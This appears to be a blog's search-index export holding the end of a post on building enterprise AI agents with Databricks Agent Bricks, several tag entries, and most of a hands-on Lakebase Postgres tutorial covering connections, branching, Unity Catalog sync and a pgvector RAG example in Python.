don\u0026rsquo;t write evaluation code. You don\u0026rsquo;t hand-tune chunk sizes. You pick a point on the cost-quality curve and deploy.\nStep 4: Test in AI Playground # Before deploying, test your assistant in the Databricks AI Playground. Ask questions you know the answers to. Check that citations point to real documents. Try adversarial questions to see how the guardrails hold up.\nDocument Intelligence: Structured Extraction at Scale # If Knowledge Assistants are about answering questions, Document Intelligence is about extracting structured data from unstructured documents — contracts, invoices, clinical trial reports, compliance filings.\nAstraZeneca used Document Intelligence to parse 400,000+ clinical trial documents in under 60 minutes, without writing extraction code.\nThe workflow is similar to Knowledge Assistants:\nDefine the extraction schema (what fields you want) Point at your documents Let the optimization pipeline tune the extraction Deploy as a batch or real-time endpoint The key difference: instead of answering free-form questions, Document Intelligence outputs structured records that can feed directly into your Delta Lake tables.\nSupervisor Agent: Multi-Agent Orchestration # Here\u0026rsquo;s where it gets interesting. A Supervisor Agent coordinates up to 20 sub-agents, routing requests to the right specialist based on the task.\nThink of it as a dispatcher:\n1 2 3 4 5 6 7 8 [User Query] | Supervisor Agent | ┌───┼───┬───┬───┐ v v v v v KA1 KA2 Genie UC MCP Space Fn Server Sub-agents can be:\nKnowledge Assistants (RAG over different data domains) Genie Spaces (natural language SQL over structured data) Unity Catalog Functions (deterministic business logic) External MCP Servers (third-party tool integration) The Supervisor handles task delegation, result synthesis, and — critically — access control. End users only see sub-agents they\u0026rsquo;re authorized to use.\n1 2 3 4 5 # Supervisor Agent configuration (via UI or API) # Each sub-agent is registered with: # - Display name and description (used for routing) # - Access control (which users/groups can access it) # - Timeout and retry configuration MCP (Model Context Protocol) integration lets Supervisor Agents call external tools and services. The MCP Catalog in Databricks Marketplace provides pre-built connectors for common enterprise systems. Custom Agents: Bring Your Own Framework # Not every agent fits a template. For novel architectures, you can deploy agents built with any framework — LangChain, LangGraph, CrewAI, OpenAI Agents SDK, LlamaIndex, or pure Python — through Agent Bricks\u0026rsquo; governed infrastructure.\nThe catch: Custom Agents don\u0026rsquo;t get TAO auto-optimization. You handle your own prompts and evaluation. But you still get Unity Catalog governance, MLflow tracing, and managed deployment.\nThe bridge is MLflow\u0026rsquo;s ResponsesAgent interface:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import mlflow from openai import OpenAI class MyCustomAgent(mlflow.pyfunc.PythonModel): \u0026#34;\u0026#34;\u0026#34;Wrap any agent framework with the ResponsesAgent interface for compatibility with AI Playground, Agent Evaluation, and Databricks Apps.\u0026#34;\u0026#34;\u0026#34; def predict(self, context, model_input): # Your agent logic here — LangChain, CrewAI, raw API calls client = OpenAI() response = client.chat.completions.create( model=\u0026#34;databricks-meta-llama-3-3-70b-instruct\u0026#34;, messages=model_input[\u0026#34;messages\u0026#34;], ) return response.choices[0].message.content # Log and register with mlflow.start_run(): mlflow.pyfunc.log_model( artifact_path=\u0026#34;agent\u0026#34;, python_model=MyCustomAgent(), registered_model_name=\u0026#34;my-custom-agent\u0026#34;, ) Deploy to Databricks Apps:\n1 2 databricks apps deploy my-custom-agent \\ --source-code-path /Workspace/Users/$USER/my-custom-agent Once deployed, your custom agent gets the same governed infrastructure as built-in templates: Unity Catalog access control, MLflow experiment tracking, and Model Serving endpoints.\nUnder the Hood: TAO and ALHF # Two research innovations power the auto-optimization pipeline. Understanding them helps you reason about when Agent Bricks will work well — and when it won\u0026rsquo;t.\nTAO (Test-time Adaptive Optimization) # Traditional model tuning requires labeled training data — expensive to create and quick to go stale. TAO flips this:\nTakes unlabeled usage data (real queries your users would ask) Uses test-time compute + reinforcement learning to optimize model behavior Searches across prompts, retrieval configs, chunking strategies, and model choices simultaneously The result: open-source models (like Llama) tuned with TAO can match GPT-4o quality on domain-specific tasks, at a fraction of the cost.\n1 2 3 4 5 6 7 8 Quality ^ | ● GPT-4o (baseline) | ● TAO-tuned Llama 3.3 70B | ● Default Llama 3.3 70B | ● Naive RAG | +──────────────────────\u0026gt; Cost TAO scales with compute budget, not human labeling effort. More GPU hours = better optimization, without anyone writing a single evaluation example.\nALHF (Agent Learning from Human Feedback) # RLHF (Reinforcement Learning from Human Feedback) changed LLM training, but it has a limitation: feedback is binary (thumbs up/down). ALHF extends this with natural-language corrections.\nInstead of rating an agent response good/bad, domain experts write what was wrong:\n\u0026ldquo;The agent cited the 2024 policy, but the 2025 revision supersedes it. It should prioritize documents by recency for compliance questions.\u0026rdquo;\nALHF translates this into technical adjustments:\nRetrieval algorithm changes (recency weighting) Prompt modifications (prioritize recent sources) Vector database filtering updates Agentic pattern changes This avoids the brittleness of cramming every edge case into a single system prompt. The corrections become structural improvements, not prompt patches.\nAgent Bricks vs. DIY Frameworks # The honest comparison:\nDimension Agent Bricks LangChain / CrewAI / DIY Time to production Hours (templates) to days (custom) Days to weeks Governance Automatic via Unity Catalog — row-level security, column masking, audit trails inherited Manual wiring. You get data access, not policy inheritance Auto-optimization TAO sweeps across the full config space Manual prompt engineering, eval design, model selection Evaluation Auto-generated benchmarks + LLM judges Build your own evaluation harness Flexibility Opinionated templates (or Custom for full control) Unlimited architectural freedom Portability Tied to Databricks (Unity Catalog, Model Serving, MLflow) Framework-agnostic, multi-cloud Best for Teams already on Databricks with governed data Teams needing maximum customization or multi-cloud portability When to use Agent Bricks # Your data is already in Unity Catalog You need governance and audit trails (regulated industries) You want to skip the evaluation/optimization engineering Your use case fits a template (knowledge Q\u0026amp;A, document extraction, multi-agent orchestration) When to reach for LangChain / CrewAI # You need architectural patterns Agent Bricks doesn\u0026rsquo;t support Multi-cloud portability is a hard requirement You want to own every component of the stack Your agent needs novel tool-use patterns that don\u0026rsquo;t fit the Supervisor model The hybrid path # Use Custom Agents to deploy your LangChain/CrewAI agent through Agent Bricks infrastructure. You lose auto-optimization but keep governance, deployment, and monitoring. This is often the pragmatic middle ground.\nProduction Customers # Agent Bricks isn\u0026rsquo;t just a demo — it\u0026rsquo;s running at scale:\nAstraZeneca — 400,000+ clinical trial documents processed with Document Intelligence Workday — Employee-facing knowledge assistants across HR documentation Virgin Atlantic — Customer service agents grounded in operational data Zapier — Internal tooling agents for workflow automation EchoStar — Multi-agent systems for satellite operations Getting Started: Your First 30 Minutes # Enable prerequisites — Unity Catalog, serverless compute, Model Serving Create a Knowledge Assistant in the Databricks UI (Mosaic AI \u0026gt; Agent Bricks) Add a knowledge source — start with a small UC Volume of markdown or PDF files Wait for the optimization sweep — this runs automatically Test in AI Playground — ask questions, check citations, try edge cases Deploy — pick a point on the cost-quality curve and ship it You\u0026rsquo;ll have a governed, production-ready RAG agent in under an hour. Whether that\u0026rsquo;s impressive or terrifying depends on how long your last agent project took.\nLimitations and Gotchas # Before you go all-in:\nEnglish only — no multilingual support yet File size limit — 50 MB per file for Knowledge Assistants Embedding lock-in — Vector Search Indexes must use databricks-gte-large-en Supervisor cap — maximum 20 sub-agents No TAO for Custom Agents — auto-optimization only works on built-in templates Enhanced Security workspaces — Supervisor Agent has compatibility limitations Platform dependency — Agent Bricks is tightly coupled to the Databricks ecosystem. If you\u0026rsquo;re multi-cloud or considering platform migration, factor this in What\u0026rsquo;s Next # Agent Bricks represents a bet that most enterprise agent development is more operational than creative. If that\u0026rsquo;s true for your use case, it eliminates weeks of engineering. If your agent needs architectural novelty, the Custom Agents path gives you governance without constraints.\nEither way, the direction is clear: the platform is eating the framework. Databricks isn\u0026rsquo;t just providing infrastructure for AI agents — it\u0026rsquo;s automating the development process itself.\nThe question isn\u0026rsquo;t whether your enterprise needs AI agents. It\u0026rsquo;s whether you\u0026rsquo;ll spend weeks building the plumbing, or let the platform handle it while you focus on what the agent actually needs to do.\nAgent Bricks is Generally Available on Databricks. Documentation: AWS | Azure\n","date":"18 April 2026","externalUrl":null,"permalink":"/posts/agent-bricks-building-enterprise-ai-agents-on-databricks/","section":"Posts","summary":"","title":"Agent Bricks: Building Enterprise AI Agents on Databricks","type":"posts"},{"content":"","date":"18 April 2026","externalUrl":null,"permalink":"/tags/agent-bricks/","section":"Tags","summary":"","title":"Agent-Bricks","type":"tags"},{"content":"","date":"18 April 2026","externalUrl":null,"permalink":"/tags/agents/","section":"Tags","summary":"","title":"Agents","type":"tags"},{"content":"","date":"18 April 2026","externalUrl":null,"permalink":"/categories/ai/","section":"Categories","summary":"","title":"AI","type":"categories"},{"content":"","date":"18 April 2026","externalUrl":null,"permalink":"/tags/ai-agents/","section":"Tags","summary":"","title":"Ai-Agents","type":"tags"},{"content":"","date":"18 April 2026","externalUrl":null,"permalink":"/tags/ai-gateway/","section":"Tags","summary":"","title":"Ai-Gateway","type":"tags"},{"content":"","date":"18 April 2026","externalUrl":null,"permalink":"/tags/ai-runtime/","section":"Tags","summary":"","title":"Ai-Runtime","type":"tags"},{"content":"","date":"18 April 2026","externalUrl":null,"permalink":"/tags/data-engineering/","section":"Tags","summary":"","title":"Data-Engineering","type":"tags"},{"content":"","date":"18 April 2026","externalUrl":null,"permalink":"/series/databricks-deep-dive/","section":"Series","summary":"","title":"Databricks Deep Dive","type":"series"},{"content":"","date":"18 April 2026","externalUrl":null,"permalink":"/tags/deep-learning/","section":"Tags","summary":"","title":"Deep-Learning","type":"tags"},{"content":"","date":"18 April 2026","externalUrl":null,"permalink":"/tags/distributed-training/","section":"Tags","summary":"","title":"Distributed-Training","type":"tags"},{"content":"","date":"18 April 2026","externalUrl":null,"permalink":"/tags/etl/","section":"Tags","summary":"","title":"Etl","type":"tags"},{"content":"","date":"18 April 2026","externalUrl":null,"permalink":"/tags/fine-tuning/","section":"Tags","summary":"","title":"Fine-Tuning","type":"tags"},{"content":"","date":"18 April 2026","externalUrl":null,"permalink":"/tags/genai/","section":"Tags","summary":"","title":"Genai","type":"tags"},{"content":"","date":"18 April 2026","externalUrl":null,"permalink":"/categories/generative-ai/","section":"Categories","summary":"","title":"Generative AI","type":"categories"},{"content":"","date":"18 April 2026","externalUrl":null,"permalink":"/tags/governance/","section":"Tags","summary":"","title":"Governance","type":"tags"},{"content":"","date":"18 April 2026","externalUrl":null,"permalink":"/tags/guardrails/","section":"Tags","summary":"","title":"Guardrails","type":"tags"},{"content":"","date":"18 April 2026","externalUrl":null,"permalink":"/tags/lakebase/","section":"Tags","summary":"","title":"Lakebase","type":"tags"},{"content":"For years, the Databricks lakehouse had a conspicuous gap: operational workloads. You could build world-class analytics pipelines, train ML models, and govern petabytes of data — but the moment you needed a transactional database for your application, you were back to provisioning an external Postgres, managing credentials, and stitching together CDC pipelines to keep things in sync.\nLakebase changes that. It\u0026rsquo;s a fully managed, Postgres-compatible OLTP database running inside the Databricks platform. Same wire protocol. Same SQL dialect. Same psql you\u0026rsquo;ve used for a decade. But with lakehouse-native superpowers: autoscaling, scale-to-zero, database branching, point-in-time recovery, and built-in Unity Catalog integration.\nIn this article, we\u0026rsquo;ll go beyond the marketing and get hands-on: create a project, connect, build tables, branch your database, register it in Unity Catalog, and wire up pgvector for semantic search — all with real commands you can run today.\nWhy Lakebase Matters # Before Lakebase, the typical architecture for a data + AI application on Databricks looked like this:\n1 2 3 4 5 6 7 [Application] --\u0026gt; [External Postgres (RDS/Cloud SQL)] | CDC Pipeline (Debezium, Fivetran, etc.) | [Delta Lake in Lakehouse] | [Analytics / ML / AI] That\u0026rsquo;s a lot of moving parts. Every CDC pipeline is a failure point. Every external database is a credential to manage, a network path to secure, and a bill to optimize separately.\nWith Lakebase, this collapses:\n1 2 3 4 5 6 7 [Application] --\u0026gt; [Lakebase (managed Postgres)] | Lakehouse Sync (built-in CDC via wal2delta) | [Delta Lake in Unity Catalog] | [Analytics / ML / AI] One platform. One governance model. One bill.\nLakebase runs real Postgres 17 — not a Postgres-like API or a compatibility layer. Your existing ORMs, drivers, and psql scripts work unchanged. It also ships with pgvector for vector similarity search out of the box. Prerequisites # Before you start:\nA Databricks workspace on AWS (GA) or Azure (public preview) Workspace admin privileges (to create Lakebase projects) psql installed locally (or any Postgres client) Basic familiarity with SQL and the Databricks UI A Unity Catalog metastore attached to your workspace (for the UC integration sections) Autoscaling vs. Provisioned: Which One? # Since March 2026, all new Lakebase instances default to Autoscaling. Here\u0026rsquo;s the quick comparison:\nFeature Provisioned Autoscaling Scaling Manual Automatic Scale-to-zero No Yes (default 5 min idle) RAM per CU ~16 GB ~2 GB (more granular) Branching No Yes Instant restore No Yes New instances Legacy Default since March 2026 If you\u0026rsquo;re starting fresh, use Autoscaling. Provisioned instances continue to work but won\u0026rsquo;t receive the newer capabilities.\nStep 1: Create a Lakebase Project # In the Databricks sidebar, navigate to Lakebase and click New project.\nGive your project a name (e.g., ai-app-backend) Select Postgres 17 Click Create Your project spins up with:\nA production branch (the main database) A default databricks_postgres database Autoscaling compute attached to the branch Scale-to-zero is enabled by default. If nobody connects for 5 minutes, compute suspends entirely — you pay nothing. The next connection wakes it up in seconds. Step 2: Connect with psql # Grab your connection details from the project\u0026rsquo;s Connect tab. You\u0026rsquo;ll get a connection string like:\n1 psql \u0026#39;postgresql://your_role:your_password@ep-your-project-id.databricks.com/databricks_postgres?sslmode=require\u0026#39; Or set environment variables:\n1 2 3 4 5 6 7 export PGHOST=\u0026#34;ep-your-project-id.databricks.com\u0026#34; export PGPORT=\u0026#34;5432\u0026#34; export PGDATABASE=\u0026#34;databricks_postgres\u0026#34; export PGUSER=\u0026#34;your_role\u0026#34; export PGPASSWORD=\u0026#34;your_password\u0026#34; psql You should see the familiar Postgres prompt. Let\u0026rsquo;s verify:\n1 SELECT version(); 1 2 3 4 version ------------------------------------------------------------------------------------------------------------ PostgreSQL 17.4 on x86_64-pc-linux-gnu, compiled by gcc (GCC) 13.2.0, 64-bit (1 row) This is real Postgres. Your existing tools — pgAdmin, DBeaver, SQLAlchemy, Prisma, Django ORM — all connect the same way.\nConnect from Python # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import psycopg2 conn = psycopg2.connect( host=\u0026#34;ep-your-project-id.databricks.com\u0026#34;, port=5432, dbname=\u0026#34;databricks_postgres\u0026#34;, user=\u0026#34;your_role\u0026#34;, password=\u0026#34;your_password\u0026#34;, sslmode=\u0026#34;require\u0026#34; ) cur = conn.cursor() cur.execute(\u0026#34;SELECT version();\u0026#34;) print(cur.fetchone()[0]) # PostgreSQL 17.4 on x86_64-pc-linux-gnu ... Or with SQLAlchemy (works with Flask, FastAPI, Django):\n1 2 3 4 5 6 7 from sqlalchemy import create_engine engine = create_engine( \u0026#34;postgresql+psycopg2://your_role:your_password\u0026#34; \u0026#34;@ep-your-project-id.databricks.com:5432/databricks_postgres\u0026#34;, connect_args={\u0026#34;sslmode\u0026#34;: \u0026#34;require\u0026#34;} ) No special drivers. No Databricks SDK. Standard Postgres.\nStep 3: Build Your Schema # Let\u0026rsquo;s create a practical schema for an AI chatbot application:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 -- Conversation tracking for an AI agent CREATE TABLE conversations ( id SERIAL PRIMARY KEY, user_id VARCHAR(64) NOT NULL, agent_id VARCHAR(64) NOT NULL, started_at TIMESTAMPTZ DEFAULT now(), status VARCHAR(20) DEFAULT \u0026#39;active\u0026#39; ); CREATE TABLE messages ( id SERIAL PRIMARY KEY, conversation_id INTEGER REFERENCES conversations(id), role VARCHAR(20) NOT NULL, -- \u0026#39;user\u0026#39;, \u0026#39;assistant\u0026#39;, \u0026#39;system\u0026#39; content TEXT NOT NULL, tokens_used INTEGER, created_at TIMESTAMPTZ DEFAULT now() ); -- Insert some sample data INSERT INTO conversations (user_id, agent_id) VALUES (\u0026#39;user-001\u0026#39;, \u0026#39;support-bot-v2\u0026#39;), (\u0026#39;user-002\u0026#39;, \u0026#39;support-bot-v2\u0026#39;), (\u0026#39;user-003\u0026#39;, \u0026#39;onboarding-agent\u0026#39;); INSERT INTO messages (conversation_id, role, content, tokens_used) VALUES (1, \u0026#39;user\u0026#39;, \u0026#39;How do I reset my password?\u0026#39;, 12), (1, \u0026#39;assistant\u0026#39;, \u0026#39;You can reset your password by clicking...\u0026#39;, 45), (2, \u0026#39;user\u0026#39;, \u0026#39;What are your pricing plans?\u0026#39;, 10), (2, \u0026#39;assistant\u0026#39;, \u0026#39;We offer three tiers: Starter, Pro, and Enterprise...\u0026#39;, 68), (3, \u0026#39;user\u0026#39;, \u0026#39;Help me get started with the API\u0026#39;, 14), (3, \u0026#39;assistant\u0026#39;, \u0026#39;Welcome! Let me walk you through the setup...\u0026#39;, 52); Verify the data:\n1 2 3 4 SELECT c.id, c.user_id, c.agent_id, count(m.id) as message_count FROM conversations c JOIN messages m ON m.conversation_id = c.id GROUP BY c.id, c.user_id, c.agent_id; 1 2 3 4 5 6 id | user_id | agent_id | message_count ----+----------+------------------+--------------- 1 | user-001 | support-bot-v2 | 2 2 | user-002 | support-bot-v2 | 2 3 | user-003 | onboarding-agent | 2 (3 rows) Quick check: Postgres extensions available # 1 2 3 SELECT name, default_version FROM pg_available_extensions WHERE name IN (\u0026#39;vector\u0026#39;, \u0026#39;pg_trgm\u0026#39;, \u0026#39;uuid-ossp\u0026#39;, \u0026#39;hstore\u0026#39;, \u0026#39;pgcrypto\u0026#39;) ORDER BY name; 1 2 3 4 5 6 7 8 name | default_version -----------+----------------- hstore | 1.8 pg_trgm | 1.6 pgcrypto | 1.3 uuid-ossp | 1.1 vector | 0.8.0 (5 rows) Good news — the essentials are there, including pgvector. We\u0026rsquo;ll use it in Step 7.\nStep 4: Database Branching — Your New Best Friend # This is where Lakebase goes beyond standard managed Postgres. Branching creates an instant, isolated copy of your database using copy-on-write — no full data duplication.\nCreate a development branch # In the Databricks UI, navigate to your project and click Create branch from the production branch. Name it dev-new-schema.\nYour dev-new-schema branch is an exact copy of production — same data, same schema — but completely isolated. Any changes you make here don\u0026rsquo;t touch production.\nDevelop safely on the branch # Connect to the branch (it gets its own connection string) and make your schema changes:\n1 2 3 4 5 6 7 8 9 10 11 -- Add embedding support to messages (on the dev branch) ALTER TABLE messages ADD COLUMN embedding vector(1536); -- Add a feedback table CREATE TABLE feedback ( id SERIAL PRIMARY KEY, message_id INTEGER REFERENCES messages(id), rating SMALLINT CHECK (rating BETWEEN 1 AND 5), comment TEXT, created_at TIMESTAMPTZ DEFAULT now() ); Verify the schema change on the branch:\n1 \\d messages 1 2 3 4 5 6 7 8 9 10 Table \u0026#34;public.messages\u0026#34; Column | Type | Collation | Nullable | Default -----------------+--------------------------+-----------+----------+-------------------------------------- id | integer | | not null | nextval(\u0026#39;messages_id_seq\u0026#39;::regclass) conversation_id | integer | | | role | character varying(20) | | not null | content | text | | not null | tokens_used | integer | | | created_at | timestamp with time zone | | | now() embedding | vector(1536) | | | The embedding column is live on the branch, but production is untouched. Test thoroughly, run your integration tests against the branch. When you\u0026rsquo;re confident, use schema diff in the UI to review changes before applying them to production.\nPoint-in-time branching for recovery # Accidentally dropped a table on production at 10:23 AM? Create a branch from 10:22 AM:\nClick Create branch on the production branch Select Point in time Set the timestamp to just before the incident Connect to the recovery branch and extract the missing data No need to restore the entire database. No downtime. This alone is worth the switch for many teams.\nCopy-on-write means branches are nearly instant regardless of database size. A 100 GB production database branches in seconds, not hours. You only pay for the incremental storage of changes made on the branch. Step 5: Register in Unity Catalog # Your Lakebase database is invisible to the rest of Databricks until you register it in Unity Catalog. Once registered, it becomes a read-only catalog that the entire platform can query.\nRegister via the UI # In your Lakebase project, click Register in Unity Catalog Choose a catalog name (e.g., chatbot_app) Select the target schema mapping Query from Databricks SQL # Once registered, anyone with the right permissions can query your operational data from SQL Warehouses, notebooks, or dashboards:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 -- Query live operational data from a SQL Warehouse SELECT agent_id, COUNT(*) as total_conversations, AVG(message_count) as avg_messages_per_conversation FROM ( SELECT c.agent_id, c.id, COUNT(m.id) as message_count FROM chatbot_app.public.conversations c JOIN chatbot_app.public.messages m ON m.conversation_id = c.id GROUP BY c.agent_id, c.id ) sub GROUP BY agent_id; Join operational and analytical data # This is the real power — joining OLTP data with your lakehouse in a single query:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 -- Combine live conversation data with historical user analytics SELECT c.user_id, c.agent_id, m.content as last_message, u.subscription_tier, u.lifetime_value FROM chatbot_app.public.conversations c JOIN chatbot_app.public.messages m ON m.conversation_id = c.id JOIN main.user_analytics.users u ON c.user_id = u.user_id WHERE c.started_at \u0026gt;= current_date - INTERVAL 1 DAY ORDER BY c.started_at DESC; 1 2 3 4 5 user_id | agent_id | last_message | subscription_tier | lifetime_value ----------+------------------+-------------------------------------------+-------------------+---------------- user-001 | support-bot-v2 | You can reset your password by clicking...| pro | 1250.00 user-002 | support-bot-v2 | We offer three tiers: Starter, Pro, ... | enterprise | 45000.00 user-003 | onboarding-agent | Welcome! Let me walk you through the... | starter | 0.00 No ETL. No CDC pipeline. Just SQL across operational and analytical data, governed by Unity Catalog.\nStep 6: Lakehouse Sync — CDC Without the Pipeline # While the Unity Catalog registration gives you read access to live Lakebase data, Lakehouse Sync goes further: it continuously replicates your Postgres tables into Delta tables using built-in Change Data Capture.\nHow it works # Lakehouse Sync is powered by wal2delta, a Postgres extension that runs inside the Lakebase compute. It uses logical decoding to capture WAL (Write-Ahead Log) changes and writes them directly to Delta tables in Unity Catalog.\n1 2 3 4 5 Lakebase Postgres └── WAL (Write-Ahead Log) └── wal2delta (logical decoding) └── Delta tables in Unity Catalog └── SCD Type 2 history Key facts:\nNo external compute required — it runs inside Lakebase No pipelines or jobs to manage — it\u0026rsquo;s a native feature SCD Type 2 history — every change is appended, giving you full audit trail Delta tables are named lb_\u0026lt;table_name\u0026gt;_history Enable Lakehouse Sync # Enable it from the Lakebase project settings. Choose which tables to sync and the target catalog/schema. The sync starts immediately and runs continuously.\nOnce synced, you can query the history:\n1 2 3 4 5 -- See the full change history for conversations SELECT * FROM main.lakebase_sync.lb_conversations_history ORDER BY _lb_commit_timestamp DESC LIMIT 20; 1 2 3 4 5 id | user_id | agent_id | started_at | status | _lb_op | _lb_commit_timestamp ----+----------+------------------+-------------------------------+----------+--------+------------------------------ 1 | user-001 | support-bot-v2 | 2026-04-18 10:15:22.123+00 | closed | UPDATE | 2026-04-18 10:45:03.456+00 1 | user-001 | support-bot-v2 | 2026-04-18 10:15:22.123+00 | active | INSERT | 2026-04-18 10:15:22.789+00 2 | user-002 | support-bot-v2 | 2026-04-18 10:20:11.456+00 | active | INSERT | 2026-04-18 10:20:12.012+00 Every row change is captured with the operation type (_lb_op) and commit timestamp. This gives you a complete audit trail of every INSERT, UPDATE, and DELETE — without writing a single line of pipeline code.\nAnalytics on top of sync history # 1 2 3 4 5 6 7 8 9 -- Agent performance over time (from Delta, not hitting Postgres) SELECT date_trunc(\u0026#39;hour\u0026#39;, _lb_commit_timestamp) as hour, count(CASE WHEN _lb_op = \u0026#39;INSERT\u0026#39; THEN 1 END) as new_conversations, count(CASE WHEN _lb_op = \u0026#39;UPDATE\u0026#39; AND status = \u0026#39;closed\u0026#39; THEN 1 END) as resolved FROM main.lakebase_sync.lb_conversations_history WHERE _lb_commit_timestamp \u0026gt;= current_date GROUP BY 1 ORDER BY 1; This runs on Delta Lake — zero load on your production Postgres. Your analysts can query freely without impacting application performance.\nStep 7: pgvector for AI Applications # Lakebase ships with pgvector pre-installed, making it a natural fit for AI applications that need vector similarity search alongside traditional relational data.\nEnable the extension # 1 CREATE EXTENSION IF NOT EXISTS vector; Create a knowledge base with embeddings # 1 2 3 4 5 6 7 8 9 10 11 12 13 CREATE TABLE knowledge_base ( id SERIAL PRIMARY KEY, title VARCHAR(255) NOT NULL, content TEXT NOT NULL, embedding vector(1536), -- OpenAI ada-002 dimensions category VARCHAR(64), created_at TIMESTAMPTZ DEFAULT now() ); -- Create an index for fast similarity search CREATE INDEX ON knowledge_base USING ivfflat (embedding vector_cosine_ops) WITH (lists = 100); Semantic search query # 1 2 3 4 5 6 7 8 9 10 -- Find the 5 most relevant knowledge base articles -- (assuming you\u0026#39;ve generated an embedding for the query) SELECT title, content, 1 - (embedding \u0026lt;=\u0026gt; $1::vector) as similarity FROM knowledge_base WHERE category = \u0026#39;product-docs\u0026#39; ORDER BY embedding \u0026lt;=\u0026gt; $1::vector LIMIT 5; Complete Python RAG example # Here\u0026rsquo;s a complete, runnable example — an AI agent that stores conversations and retrieves relevant context from a knowledge base using pgvector:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 import psycopg2 from psycopg2.extras import RealDictCursor import openai import json # --- Config --- DB_CONN = \u0026#34;postgresql://your_role:your_password@ep-your-project.databricks.com/databricks_postgres?sslmode=require\u0026#34; oai = openai.OpenAI() def get_embedding(text: str) -\u0026gt; list[float]: \u0026#34;\u0026#34;\u0026#34;Generate embedding using OpenAI ada-002.\u0026#34;\u0026#34;\u0026#34; resp = oai.embeddings.create(input=text, model=\u0026#34;text-embedding-ada-002\u0026#34;) return resp.data[0].embedding def seed_knowledge_base(conn): \u0026#34;\u0026#34;\u0026#34;Insert sample knowledge base articles with embeddings.\u0026#34;\u0026#34;\u0026#34; articles = [ (\u0026#34;Password Reset\u0026#34;, \u0026#34;To reset your password, go to Settings \u0026gt; Security \u0026gt; Reset Password. You\u0026#39;ll receive an email with a reset link.\u0026#34;), (\u0026#34;Pricing Plans\u0026#34;, \u0026#34;We offer Starter ($9/mo), Pro ($49/mo), and Enterprise (custom). Pro includes API access and priority support.\u0026#34;), (\u0026#34;API Rate Limits\u0026#34;, \u0026#34;Free tier: 100 req/min. Pro: 1000 req/min. Enterprise: custom. Rate limit headers are X-RateLimit-Remaining.\u0026#34;), (\u0026#34;Data Export\u0026#34;, \u0026#34;Export your data from Settings \u0026gt; Data \u0026gt; Export. Formats: CSV, JSON, Parquet. Exports over 1GB are async.\u0026#34;), ] with conn.cursor() as cur: for title, content in articles: embedding = get_embedding(content) cur.execute( \u0026#34;\u0026#34;\u0026#34;INSERT INTO knowledge_base (title, content, embedding, category) VALUES (%s, %s, %s::vector, \u0026#39;product-docs\u0026#39;) ON CONFLICT DO NOTHING\u0026#34;\u0026#34;\u0026#34;, (title, content, str(embedding)) ) conn.commit() def retrieve_context(conn, query: str, top_k: int = 3) -\u0026gt; list[dict]: \u0026#34;\u0026#34;\u0026#34;Semantic search — find most relevant knowledge base articles.\u0026#34;\u0026#34;\u0026#34; query_embedding = get_embedding(query) with conn.cursor(cursor_factory=RealDictCursor) as cur: cur.execute(\u0026#34;\u0026#34;\u0026#34; SELECT title, content, 1 - (embedding \u0026lt;=\u0026gt; %s::vector) as similarity FROM knowledge_base WHERE category = \u0026#39;product-docs\u0026#39; ORDER BY embedding \u0026lt;=\u0026gt; %s::vector LIMIT %s \u0026#34;\u0026#34;\u0026#34;, (str(query_embedding), str(query_embedding), top_k)) return cur.fetchall() def save_message(conn, conversation_id: int, role: str, content: str): \u0026#34;\u0026#34;\u0026#34;Persist message to conversation history.\u0026#34;\u0026#34;\u0026#34; with conn.cursor() as cur: cur.execute( \u0026#34;\u0026#34;\u0026#34;INSERT INTO messages (conversation_id, role, content, tokens_used) VALUES (%s, %s, %s, %s)\u0026#34;\u0026#34;\u0026#34;, (conversation_id, role, content, len(content.split())) ) conn.commit() # --- Main flow --- conn = psycopg2.connect(DB_CONN) seed_knowledge_base(conn) # User asks a question user_question = \u0026#34;How do I export my data as Parquet?\u0026#34; # 1. Retrieve relevant context from pgvector context_docs = retrieve_context(conn, user_question) print(\u0026#34;Retrieved context:\u0026#34;) for doc in context_docs: print(f\u0026#34; [{doc[\u0026#39;similarity\u0026#39;]:.3f}] {doc[\u0026#39;title\u0026#39;]}\u0026#34;) # 2. Build prompt with retrieved context context_text = \u0026#34;\\n\\n\u0026#34;.join(f\u0026#34;### {d[\u0026#39;title\u0026#39;]}\\n{d[\u0026#39;content\u0026#39;]}\u0026#34; for d in context_docs) response = oai.chat.completions.create( model=\u0026#34;gpt-4o\u0026#34;, messages=[ {\u0026#34;role\u0026#34;: \u0026#34;system\u0026#34;, \u0026#34;content\u0026#34;: f\u0026#34;Answer using this context:\\n\\n{context_text}\u0026#34;}, {\u0026#34;role\u0026#34;: \u0026#34;user\u0026#34;, \u0026#34;content\u0026#34;: user_question} ] ) answer = response.choices[0].message.content # 3. Persist the conversation (ACID-guaranteed) save_message(conn, 1, \u0026#34;user\u0026#34;, user_question) save_message(conn, 1, \u0026#34;assistant\u0026#34;, answer) print(f\u0026#34;\\nAgent: {answer}\u0026#34;) conn.close() 1 2 3 4 5 6 7 8 Retrieved context: [0.932] Data Export [0.841] API Rate Limits [0.823] Pricing Plans Agent: You can export your data as Parquet by going to Settings \u0026gt; Data \u0026gt; Export and selecting \u0026#34;Parquet\u0026#34; as the format. Note that exports over 1GB will be processed asynchronously — you\u0026#39;ll receive a notification when it\u0026#39;s ready. This is a full RAG pipeline — retrieval, generation, and persistence — running against a single Lakebase instance. No separate vector database. No external state store.\nLangGraph checkpointer # If you\u0026rsquo;re using LangGraph for agent orchestration, Lakebase works directly as a Postgres checkpointer:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from langgraph.checkpoint.postgres import PostgresSaver # Lakebase IS Postgres — LangGraph\u0026#39;s native checkpointer just works checkpointer = PostgresSaver.from_conn_string(DB_CONN) checkpointer.setup() # Creates checkpoint tables automatically # Build your agent graph with persistent state from langgraph.graph import StateGraph graph = StateGraph(...) # ... define nodes and edges ... app = graph.compile(checkpointer=checkpointer) # Each thread_id gets its own conversation state, persisted in Lakebase config = {\u0026#34;configurable\u0026#34;: 